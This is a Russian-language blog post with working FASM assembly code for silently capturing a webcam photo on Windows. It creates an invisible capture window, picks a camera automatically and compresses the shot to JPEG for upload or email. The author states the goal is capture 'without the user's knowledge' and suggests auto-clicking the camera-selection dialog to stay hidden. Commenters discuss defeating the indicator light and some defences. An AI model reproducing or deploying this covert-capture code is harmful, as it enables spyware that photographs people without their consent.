Blog. Just Blog

Как сделать снимок с web-камеры на Ассемблере

Версия для печати Добавить в Избранное Отправить на E-Mail | Категория: Образ мышления: Assembler | Автор: ManHunter
Как сделать снимок с web-камеры на Ассемблере
Как сделать снимок с web-камеры на Ассемблере

Начитался страшных историй про людей, которые опасаются, что через web-камеру их компьютера за ними следят спецслужбы и злые хакеры. Поэтому камеры заклеиваются черной изолентой, паранойя прогрессирует и все такое. Мне стало интересно, как сделать снимок с web-камеры без ведома пользователя?

Самый простой способ - воспользоваться стандартной библиотекой avicap32.dll, которая входит в состав системы еще с Windows 2000. Она предназначена для работы с такими медиа-устройствами как цифровые видеокамеры, web-камеры, видеокарты и т.д. через удобный механизм управления посредством сообщений. Как написано в MSDN, эта библиотека предоставляет достаточно большой набор инструментов для работы с web-камерами, но нас интересует только захват изображения, и желательно без создания видимых окон или чего-то подобного.

Все начинается с обязательного создания окна-перехватчика функцией capCreateCaptureWindow. На сайте MSDN описание слишком лаконичное, поэтому стоит обратить внимание на некоторые ее особенности. В окно-перехватчик отправляются все управляющие сообщения для web-камеры, в него же транслируется видеопоток. Если задать размеры окна, то размер видео будет подгоняться под него, независимо от возможностей камеры. Но если делать снимок, то размеры окна значения не имеют, оно может быть нулевого размера, иметь любые стили или вообще быть скрытым, неважно. Кадр будет сохранен с тем размером, какой пришел непосредственно с камеры. Этим мы и воспользуемся, окно-перехватчик будет невидимым и никак не будет себя демаскировать перед пользователем.

Дальше надо связать окно-перехватчик с web-камерой. К компьютеру может быть подключена более чем одна камера, но в то же время их количество ограничивается 10 устройствами, каждое из которых имеет порядковый индекс от 0 до 9. При этом совершенно не обязательно, что первое доступное устройство имеет индекс 0, поэтому нам надо или предоставить пользователю возможность выбора нужной камеры из списка, или же не привлекать внимания и сделать этот выбор за него. Если при переборе всех возможных индексов не найдено ни одной камеры, доступной для подключения, ну что ж, тут уже ничего не сделать.

Тут есть несколько важных моментов. Проверять наличие и доступность устройства сразу через подключение будет не совсем корректно. Устройство может сразу не подключиться, поэтому перебор индексов устройств осуществляется при помощи функции capGetDriverDescription. Если функция вернула TRUE, то есть драйвер устройства доступен, тогда можно к нему подключаться, при этом в некоторых случаях подключение произойдет не с первой попытки. Следующий момент заключается в том, что при наличии нескольких устройств захвата изображения система может открыть окно для выбора устройства-источника. И такое же окно может появляться даже при наличии только одной камеры. Какой-либо закономерности появления окна в этом случае я не заметил. Если вы делаете снимок легально, то тут ничего страшного, пользователь просто выберет камеру. А вот для скрытного фотографирования придется создавать отдельный поток-наблюдатель, в котором надо будет отслеживать появление этого окна и эмулировать подтверждение выбора.

Если рабочая web-камера найдена, то для выполнения поставленной задачи останется только сохранить кадр в файл с нужным нам именем. После этого можно отключаться от камеры и уничтожать окно-перехватчик. Осталось это все запрограммировать. Вот что будет в сегменте данных:
  1. ; Сообщения для взаимодействия с web-камерой
  2. WM_CAP_DRIVER_CONNECT    = WM_USER+10
  3. WM_CAP_DRIVER_DISCONNECT = WM_USER+11
  4. WM_CAP_FILE_SAVEDIB      = WM_USER+25
  5.  
  6. ; Заголовок окна-перехватчика
  7. title           db 'WEBCAM-SPY',0
  8.  
  9. ; Номер устройства web-камеры
  10. device          dd   0
  11.  
  12. ; Имя файла для захвата с web-камеры (ASCIIZ)
  13. file1           db 'image_captured_from_camera.bmp',0
И в сегменте кода:
  1.         ; Создать скрытое окно-перехватчик
  2.         invoke  capCreateCaptureWindow,0,0,0,0,0,0,HWND_DESKTOP,0
  3.         mov     ebx,eax
  4.  
  5.         ; Попробовать подключиться к первой доступной web-камере
  6.         mov     [device],0
  7. @@:
  8.         ; Получить описание драйвера устройства
  9.         invoke  capGetDriverDescription,[device],buff,100h,vers,100h
  10.         cmp     eax,TRUE
  11.         je      @f
  12.  
  13.         ; Проверить следующее устройство
  14.         inc     [device]
  15.         ; Устройства могут иметь индексы 0..9
  16.         cmp     [device],9
  17.         jbe     @b
  18.  
  19.         ; Закрыть окно-перехватчик
  20.         invoke  DestroyWindow,ebx
  21.  
  22.         ; Все устройства проверены, ни к одному не удалось подключиться
  23.         jmp     loc_exit
  24. @@:
  25.         ; Подключиться к драйверу устройства захвата
  26.         invoke  SendMessage,ebx,WM_CAP_DRIVER_CONNECT,[device],0
  27.         cmp     eax,TRUE
  28.         je      @f
  29.         ; Пауза между попытками подключения
  30.         invoke  Sleep,10
  31.         jmp     @b
  32. @@:
  33.         ; Сохранить изображение
  34.         invoke  SendMessage,ebx,WM_CAP_FILE_SAVEDIB,0,file1
  35.         ; Отключиться от web-камеры
  36.         invoke  SendMessage,ebx,WM_CAP_DRIVER_DISCONNECT,title,0
  37.  
  38.         ; Закрыть окно-перехватчик
  39.         invoke  DestroyWindow,ebx
Снимок сделан. Но сохранить его можно только в формате BMP, в результате чего готовый файл даже при разрешении 640х480 пикселов будет иметь размер около мегабайта. И даже на современных широких интернет-каналах передавать его будет проблематично, не говоря уже о периодическом и накопительном сохранении локальных копий. Значит надо отконвертировать BMP-файл в более компактный формат, например, в JPEG. Для этого воспользуемся возможностями библиотеки GDI Plus. Все необходимые структуры в FASM не описаны, придется делать это самостоятельно.
  1. ; Структуры для работы с GDI Plus
  2. struct GdiplusStartupInput
  3.   GdiplusVersion           dd ?
  4.   DebugEventCallback       dd ?
  5.   SuppressBackgroundThread dd ? 
  6.   SuppressExternalCodecs   dd ?
  7. ends
  8.  
  9. struct ImageCodecInfo
  10.   Clsid             db 16 dup ?
  11.   FormatID          db 16 dup ?
  12.   CodecName         dd ?
  13.   DllName           dd ?
  14.   FormatDescription dd ?
  15.   FilenameExtension dd ?
  16.   MimeType          dd ?
  17.   Flags             dd ?
  18.   Version           dd ?
  19.   SigCount          dd ?
  20.   SizeSize          dd ?
  21.   SigPattern        dd ?
  22.   SigMask           dd ?
  23. ends
  24.  
  25. ; Имена файлов для конвертирования GDI Plus (юникод)
  26. file2           du 'image_captured_from_camera.bmp',0
  27. file3           du 'image_converted.jpg',0
  28.  
  29. ; Кодировщик JPEG
  30. encoder_type    du 'image/jpeg',0
  31. encoder_clsid   db 16 dup ?
  32.  
  33. ; Структуры и переменные для GPI Plus
  34. input           GdiplusStartupInput
  35. token           dd ?
  36.  
  37. encoders_count  dd ?    ; Количество кодировщиков
  38. encoders_size   dd ?    ; Размер кодировщиков
  39.  
  40. gdip_bitmap     dd ?    ; Загруженная картинка
Ну и сам код конвертирования файла из одного формата в другой.
  1.         ; Инициализировать GDI Plus
  2.         mov     [input.GdiplusVersion],1
  3.         invoke  GdiplusStartup,token,input,NULL
  4.         test    eax,eax
  5.         jnz     loc_exit
  6.  
  7.         ; Получить количество и размер графических кодировщиков
  8.         invoke  GdipGetImageEncodersSize,encoders_count,encoders_size
  9.         test    eax,eax
  10.         jnz     gdiplus_shutdown
  11.  
  12.         ; Зарезервировать под них память
  13.         invoke  VirtualAlloc,0,[encoders_size],MEM_COMMIT,PAGE_READWRITE
  14.         test    eax,eax
  15.         jz      gdiplus_shutdown
  16.         mov     ebx,eax
  17.  
  18.         ; Получить список графических кодировщиков
  19.         invoke  GdipGetImageEncoders,[encoders_count],[encoders_size],ebx
  20.         test    eax,eax
  21.         jnz     gdiplus_shutdown
  22.  
  23. scan_encoders:
  24.         ; Найти CLSID нужного нам кодировщика (JPEG)
  25.         mov     esi,[ebx+ImageCodecInfo.MimeType]
  26.         mov     edi,encoder_type
  27.         invoke  lstrlen,encoder_type
  28.         mov     ecx,eax
  29.         repe    cmpsw
  30.         je      encoder_found
  31.         add     ebx,sizeof.ImageCodecInfo
  32.         dec     [encoders_count]
  33.         jnz     scan_encoders
  34.  
  35.         ; Ничего не найдено
  36.         jmp     gdiplus_shutdown
  37.  
  38. encoder_found:
  39.         ; Сохранить CLSID найденного кодировщика
  40.         lea     esi,[ebx+ImageCodecInfo.Clsid]
  41.         mov     edi,encoder_clsid
  42.         mov     ecx,4
  43.         rep     movsd
  44.  
  45.         ; Очистить память
  46.         invoke  VirtualFree,ebx,0,MEM_RELEASE
  47.  
  48.         ; Загрузить файл с захваченным изображением
  49.         invoke  GdipCreateBitmapFromFile,file2,gdip_bitmap
  50.         test    eax,eax
  51.         jnz     gdiplus_shutdown
  52.  
  53.         ; Отконвертировать в JPEG и cохранить
  54.         invoke  GdipSaveImageToFile,[gdip_bitmap],file3,encoder_clsid,NULL
  55.  
  56.         ; Прибраться за собой
  57.         invoke  GdipDisposeImage,[gdip_bitmap]
  58.  
  59. gdiplus_shutdown:
  60.         invoke  GdiplusShutdown,[token]
Обратите внимание, что при захвате имя файла записывается в ASCIIZ, а при конвертировании через GDI Plus - в юникоде. После конвертирования исходный файл можно удалить. Готовый JPEG-файл у меня занимает всего лишь около 30-40 килобайт, такие файлы легко загрузить на сервер или отправить на почту, а при сохранении на диск свободное место кончится гораздо позже.

Вот так легко и ненапряжно можно сделать снимок с web-камеры без ведома пользователя. Если, конечно, он не обратит внимание на моргнувший индикатор включения.

Если у вас нет паранойи, это еще не значит, что за вами не следят!
Если у вас нет паранойи, это еще не значит, что за вами не следят!

В приложении пример программы с исходным текстом, делающей снимок с первой доступной web-камеры и конвертирующей его в JPEG. Исходный файл захвата также сохраняется.

Пример программы с исходным текстом (FASM)Пример программы с исходным текстом (FASM)

WebCam.Spy.Demo.zip (3,330 bytes)


Поделиться ссылкой ВКонтакте
Просмотров: 10928 | Комментариев: 28

Метки: Assembler
Внимание! Статья опубликована больше года назад, информация могла устареть!

Комментарии

Отзывы посетителей сайта о статье
ManHunter (25.10.2020 в 16:59):
Немного дополнил статью и улучшил пример. Архив тоже обновлен.
Guest (25.10.2020 в 13:13):
Спасибы, будым пробывать.
ManHunter (25.10.2020 в 13:04):
Сделать автокликалку при появлении окна выбора. Попробовать захват через DirectShow, но там тоже не факт, что система не будет предлагать выбор источника.
Guest (25.10.2020 в 12:27):
А что делать?
Костыли с имитацией выбора городить?
И почему в статье не упомянуто, раз нормальное?
ManHunter (25.10.2020 в 12:22):
Это нормальное поведение системы. Скрин не надо.
Guest (25.10.2020 в 12:13):
На двух разных компьютерах (10 x64 и 7 x??) программа не делает снимок с первой доступной камеры, а выводит диалог запроса "с какой снимать". На десяточном компе одна камера, на семёрочном одна физическая и одна чем-то нашаманенная виртуальная. После выбора успешно делает и конвертит снимок. Принтскрин запроса нужен?
Grey (14.10.2015 в 14:51):
Ну да. Нашел рабочий пример, разбираюсь.
ManHunter (14.10.2015 в 08:51):
Цитатаесли никакой документации и хэлпов на эту библиотеку нет.

Ну дык, реверс и предназначен как раз для таких случаев.
А вообще должны же быть какие-то общие API, иначе бы универсальным сканилкам типа VueScan пришлось бы туго. Я не верю, что во всем интернете нет ни одной толковой документации по TWAIN, пусть и применительно не к конкретно этой модели сканера и не именно на Ассемблере.
Grey (14.10.2015 в 08:39):
Сетевой сканер TWAIN. Ясно что за dll, и список функций. Неясно количество и назначение параметров функций. Можно как то без реверса это узнать если никакой документации и хэлпов на эту библиотеку нет.
Виталий (05.02.2015 в 10:41):
ЦитатаУ знакомых на семерке х64 почему-то не отработало,


У меня на семерке 64  при  захвате не проходит останов.
Работает захват один раз. после останова зависает.
Повторные запуски дают на идентификаторах ноль.

На XP работает.
ManHunter (25.09.2014 в 12:46):
Ага, и ничего не надо городить, все уже написано до нас :)
Never (19.09.2014 в 13:21):
Wolfcoders CamBlocker - Oh! Good! Must have!
ManHunter (13.09.2014 в 18:38):
Он слишком урезан по функционалу.
капитошка (13.09.2014 в 17:15):
на сайте фасма в примерах есть FASMCam. может тоже кому пригодится.
morgot (05.09.2014 в 22:17):
ManHunter, попробовал еще раз на том ноуте - все отлично работает. Так что ложная тревога. Еще раз спасибо за код, пригодится.
ManHunter (05.09.2014 в 16:24):
На двух рабочих Win7 x64 с USB-камерами фунциклирует нормально. Дело, скорее всего, в особенностях софта камеры, а не в разрядности системы.
morgot (05.09.2014 в 16:22):
Тестил на своих ноутах (виста х86-32, восьмерка х64), работает отлично. У знакомых на семерке х64 почему-то не отработало, показывает какое-то окошко выбора устройства, и на этом все. Все ноуты - Асусы разных моделей. На семерке пока не могу подебажить, поэтому не пойму, почему так.
ManHunter (05.09.2014 в 15:06):
Цитатанечто что подобное (программную изоленту, так сказать)

google -> "Wolfcoders CamBlocker"
morgot (01.09.2014 в 15:27):
Спасибо, пригодится.
Кстати, вот еще либа, но на Масм: http://wasm.ru/forum/viewtopic.php?id=46614
ManHunter (29.08.2014 в 23:50):
Нет, только web-кодинг для работы, Ассемблер для души и чуть-чуть Python для расширения кругозора. Форт, Бейсик, Фокал и Паскаль благополучно забыл за ненадобностью. C на уровне общего понимания исходников, но не пишу.
Анатолий (29.08.2014 в 23:44):
ЦитатаНа Ассемблере можно написать что угодно, но жизнь коротка.

Горькая правда. К сожалению, ни один язык, кроме asm'a и pure C "не штырит" =)
ManHunter, а вы программируете на C?
Compiller (28.08.2014 в 14:30):
Для блондинок - web камера Logitech C500 имеет шторку аппаратную.
той же фирмы QuickCam express - имеет регулятор фокуса, а большинство остальных камер просто можно поворачивать в потолок. А по сути статьи - файла gdiplus.dll в системе может не быть.
C камерой думаю можно работать через twain или wia интерфейсы - правда про работу без отображения окон при этом не уверен.
Про диспетчер устройств - devcon.exe включает одной командой обратно. И ещё одной снова выключает после сделанного снимка.

На WEB камерах при убирании BR фильтра возможен прибор ночного видения. Правда по описанию процесса - очень нежные ручки для этого надо.
http://www.instructables.com/i...sion-Webcam/
судя по картинкам камера типа Logitech QuickCam Express.
ManHunter (27.08.2014 в 20:50):
ЦитатаManHunter, не думаешь написать для блондинок нечто что подобное

На Ассемблере можно написать что угодно, но жизнь коротка.
AyTkACT (27.08.2014 в 20:22):
Внешнюю камеру как и внешний микрофон можно подключать физически, только по мере надобности и на время этой самой надобности... А вот какие варианты противодействия встроенным устройствам (микрофон/камера), но для конечной домохозяйки?

ManHunter, не думаешь написать для блондинок нечто что подобное (программную изоленту, так сказать)?
semenov (27.08.2014 в 14:06):
Я в диспетчере устройств камеру отключаю)
Grey (27.08.2014 в 14:01):
Супер. У меня товарищ изолентой заклеил.
ManHunter (27.08.2014 в 09:13):
"Пастернака не читал, но осуждаю" :)
1. Никак. Может быть можно на каких-то единичных моделях, путем манипуляций с прошивками, драйверами и подобной низкоуровневой хрени. Где-то даже проскакивала одна единственная статейка на эту тему, что кому-то удалось на какой-то модели камеры отключить индикатор.
2. Проверено на пяти внешних камерах разных производителей и разного ценового уровня, и на четырех встроенных камерах ноутбуков, тоже разных производителей. Везде все прекрасно работает. Драйвера могут обеспечивать какие-нибудь дополнительные возможности, типа отслеживания лица, поворота камеры, повышения качества изображения. В остальном базовые функции, в том числе и съемка, доступны через WinAPI.
brute (27.08.2014 в 08:41):
в вопросе не разбираюсь, но ясность внесу: основных проблем (решения которым я не видел) с камерой было две:
1. как отключить индикатор включения
2. некоторые/многие камеры не работают через avicap32.dll/стандартные winAPI. Они имеют свои драйвера.

Добавить комментарий

Заполните форму для добавления комментария
Имя*:
Текст комментария (не более 2000 символов)*:

*Все поля обязательны для заполнения.
Комментарии, содержащие рекламу, ненормативную лексику, оскорбления и т.п., а также флуд и сообщения не по теме, будут удаляться. Нарушителям может быть заблокирован доступ к сайту.
Наверх
Powered by PCL's Speckled Band Engine 0.2 RC3
© ManHunter / PCL, 2008-2024
При использовании материалов ссылка на сайт обязательна
Время генерации: 0.09 сек. / MySQL: 2 (0.0097 сек.) / Память: 4.5 Mb
Наверх